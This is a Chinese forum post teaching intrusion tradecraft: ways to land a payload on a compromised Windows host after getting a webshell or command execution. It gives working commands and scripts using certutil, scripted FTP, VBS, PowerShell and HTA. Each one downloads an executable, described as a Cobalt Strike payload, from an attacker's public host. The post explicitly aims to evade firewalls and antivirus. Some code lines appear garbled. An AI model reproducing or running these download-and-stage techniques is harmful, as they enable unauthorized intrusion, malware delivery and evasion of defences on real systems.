本帖最后由 caiH 于 2020-5-13 22:33 编辑
载荷上传下载落地技术
内网渗透 菜鸡CaiH
前言:如果获得一台主机的webshell或者能够任意命令执行,但是想要拿下主机进行提权、权限维持或者要进行内网渗透,那就需要将载荷上传下载到主机上。下面我将介绍几种载荷上传下载的落地技术,这几种技术都巧妙的利用系统自带的工具,因此降低了防火墙和杀毒软件处理的概率。
0x01方法一:利用certutil下载 什么是certutil.exe呢? certutil.exe是一个命令行程序,作为证书服务的一部分安装。和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链,能从远程URL下载证书或者其他文件。其使用语法如下: certutil.exe -urlcache -split -f url 所以,当我们发现一个任意命令执行漏洞或者获得webshell的时候,可以使用这种方法来下载载荷。例如: 成功将443.exe这个cs载荷上传到目标机上。 certutil.exe还可将exe文件加密并保存到txt文件中,也可将加密之后的txt解密成原来的exe文件。使用语法如下: 加密 certutil -encode 443.exe 443.txt 解密 certutil -decode 443.txt 443.exe 那么又有了另外一种上传载荷的思路:如果有任意命令执行的漏洞,且有允许上传txt文件的地方,可以将加密之后的txt文件上传上去,然后通过任意命令执行漏洞将txt文件解密成exe文件,这样就成功将载荷上传至目标机。 0x02方法二:利用ftp命令下载 顾名思义,在终端利用ftp传输,访问我们一个开通ftp协议的公网主机,然后下载这个公网主机上面的载荷。但是值得注意的是,由于ftp存在交互过程,得到webshell与任意命令执行利用这种技术的方法并不一样。 如果是获取了webshell,那么我们会简单很多 1、建立连接ftp xxx.xxx.xxx.xxx 2、输入用户名 3、输入密码 4、下载载荷 get xxx.exe 5、关闭ftp连接 quit 如果是任意命令执行,为了避免交互,我们可以将ftp开启为匿名访问,利用任意命令执行漏洞用echo命令写一个批脚本,最后在ftp连接下执行这个脚本,这样就成功下载了8080.exe这个载荷 echo open xxx.xxx.xxx.xxx>>ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo ftp>> ftp.txt
echo GET 8080.exe >> ftp.txt
ftp -s:ftp.txt 0x03方法三: vbs下载 由于vbs不需要特定的编译环境,在主机可以直接执行。所以我们编写一个可以下载载荷的vbs程序,将这个vbs程序上传到目标机,然后执行vbs程序即可下载载荷。 我们编写download.vbs程序如下,这个程序的作用就是将公网上的443.exe载荷下载到目标机上: Set Post= CreateObject("Msxml2.XMLHTTP") Set Shell= CreateObject("Wscript.Shell") Post.Send() Set aGet= CreateObject("ADODB.Stream") aGet.Mode= 3 aGet.Type= 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile"C:\demo.exe",2
如果我们可以直接上传vbs程序那是再好不过,只需在终端执行这个程序。但是这种情况很少见,这时我们可以通过终端将这些代码通过echo命令一行一行写入download.vbs中。具体如下: echo SetPost = CreateObject("Msxml2.XMLHTTP") >>download.vbs echo SetShell = CreateObject("Wscript.Shell") >>download.vbs echo Post.Open "GET","http://www.xxx.xxx.xxx/xxx/443.exe",0>>download.vbs echo Post.Send() >>download.vbs echo SetaGet = CreateObject("ADODB.Stream") >>download.vbs echo aGet.Mode = 3 >>download.vbs echo aGet.Type = 1 >>download.vbs echo aGet.Open() >>download.vbs echo aGet.Write(Post.responseBody) >>download.vbs echo aGet.SaveToFile "C:\demo2.exe",2 >>download.vbs
最后在执行download.vbs这个文件 cscript download.vbs 这样就 将载荷成功下载到目标机上。 0x04方法四: powershell下载如果可以执行powershell,那就省事多了,直接执行下载命令。 powershell(new-object System.Net.WebClient).DownloadFile(http:/xxx/xxx/443.exe,’c:\demo.exe’)
0x05方法五: hta下载该方法与vbs下载原理相同,都是因为执行hta程序并不需要特定的环境,所以可以利用hta程序下载载荷。执行的方法也相同,如果能直接上传hta程序那再好不过,如果不可以那么也是通过echo命令一句话一句话写入。这里不做过的解释,给出download4.hta程序的代码。 <html> <head> <script> varObject = new ActiveXObject("MSXML2.XMLHTTP"); Object.send(); if(Object.Status == 200) { var Stream = newActiveXObject("ADODB.Stream"); Stream.Open(); Stream.Type = 1; Stream.Write(Object.ResponseBody); Stream.SaveToFile("C:\\443demo.exe",2); Stream.Close(); } window.close(); </script> <HTA:APPLICATIONID="test" WINDOWSTATE= "minimize"> </head> <body> </body> </html>
执行这个程序,结果如下: 总结:我们要做的就是想办法将载荷上传到目标机上,但是如果我们只是获取webshell或者命令任意执行,并不能自由的上传文件,所以我们可以将公网作为一个媒介,在公网上上传我们的载荷,然后通过终端命令将公网上的载荷下载下来。这里我们巧妙地用到了系统自带的工具,因此降低了防火墙和杀毒软件处理的概率。
|